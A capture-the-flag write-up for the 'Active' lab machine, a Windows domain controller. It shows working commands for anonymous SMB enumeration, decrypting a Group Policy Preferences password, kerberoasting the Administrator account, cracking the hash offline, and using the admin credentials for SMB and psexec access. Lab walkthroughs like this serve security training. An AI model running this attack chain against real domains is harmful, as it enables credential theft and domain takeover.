Active

Nmap :p

Nmap scan report for 10.129.71.135
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1

DNS, Kerberos, LDAP and SMB all on one box, so we’re looking at a domain controller for active.htb. No web server, so SMB is the first thing worth poking at.

We started by enumerating SMB with a null session:

nxc smb 10.129.71.135 -u '' -p '' --shares
SMB         10.129.71.135   445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.129.71.135   445    DC               [+] active.htb\:
SMB         10.129.71.135   445    DC               Share           Permissions     Remark
SMB         10.129.71.135   445    DC               -----           -----------     ------
SMB         10.129.71.135   445    DC               ADMIN$                          Remote Admin
SMB         10.129.71.135   445    DC               C$                              Default share
SMB         10.129.71.135   445    DC               IPC$                            Remote IPC
SMB         10.129.71.135   445    DC               NETLOGON                        Logon server share
SMB         10.129.71.135   445    DC               Replication     READ
SMB         10.129.71.135   445    DC               SYSVOL                          Logon server share
SMB         10.129.71.135   445    DC               Users

We can read the Replication share without creds, so let’s do that and see what we find:

smbclient //active.htb/Replication -N
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

We downloaded a few files, but a Groups.xml file has some interesting information regarding a service account.

cat Groups.xml
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

This is a Group Policy Preferences file and the cpassword field is the password for SVC_TGS. It’s AES encrypted, but Microsoft literally published the key years ago, so gpp-decrypt turns it back into plaintext instantly:

gpp-decrypt "edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
GPPstillStandingStrong2k18

Re-enumerating what access we have with this user, we can read a few more shares:

nxc smb 10.129.71.135 -u SVC_TGS -p GPPstillStandingStrong2k18 --shares
SMB         10.129.71.135   445    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
SMB         10.129.71.135   445    DC               Share           Permissions     Remark
SMB         10.129.71.135   445    DC               -----           -----------     ------
SMB         10.129.71.135   445    DC               NETLOGON        READ            Logon server share
SMB         10.129.71.135   445    DC               Replication     READ
SMB         10.129.71.135   445    DC               SYSVOL          READ            Logon server share
SMB         10.129.71.135   445    DC               Users           READ

Let’s check the Users share since that one looks most interesting:

smbclient -U SVC_TGS //active.htb/Users
# password: GPPstillStandingStrong2k18

We can navigate to SVC_TGS\Desktop and get the user flag.

Kerberoasting

Now with valid domain creds we can try kerberoasting and see if any accounts with an SPN give us something better:

nxc ldap 10.129.71.135 -u SVC_TGS -p GPPstillStandingStrong2k18 --kerberoasting hash.txt
LDAP        10.129.71.135   389    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18
LDAP        10.129.71.135   389    DC               [*] Total of records returned 1
LDAP        10.129.71.135   389    DC               sAMAccountName: Administrator memberOf: CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb
LDAP        10.129.71.135   389    DC               $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$363b3c382d8b...

We get a TGS hash for the Administrator account, which means Administrator has an SPN set. We can crack it offline:

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

The hash cracks and returns the password Ticketmaster1968.

Let’s try evil-winrm and see if we can get a shell that way:

evil-winrm -i 10.129.71.135 -u administrator -p Ticketmaster1968
Error: An error of type Errno::ECONNREFUSED happened, message is Connection refused - connect(2) for "10.129.71.135" port 5985

Doesn’t work since WinRM isn’t open on this box, but we can just use the admin creds on the SMB share instead:

smbclient -U administrator //active.htb/Users
# password: Ticketmaster1968
smb: \> cd Administrator\Desktop
smb: \Administrator\Desktop\> get root.txt

That works and we can grab the root flag. If we wanted a full shell, impacket-psexec active.htb/administrator:Ticketmaster1968@10.129.71.135 would get us SYSTEM too.

Ez gg.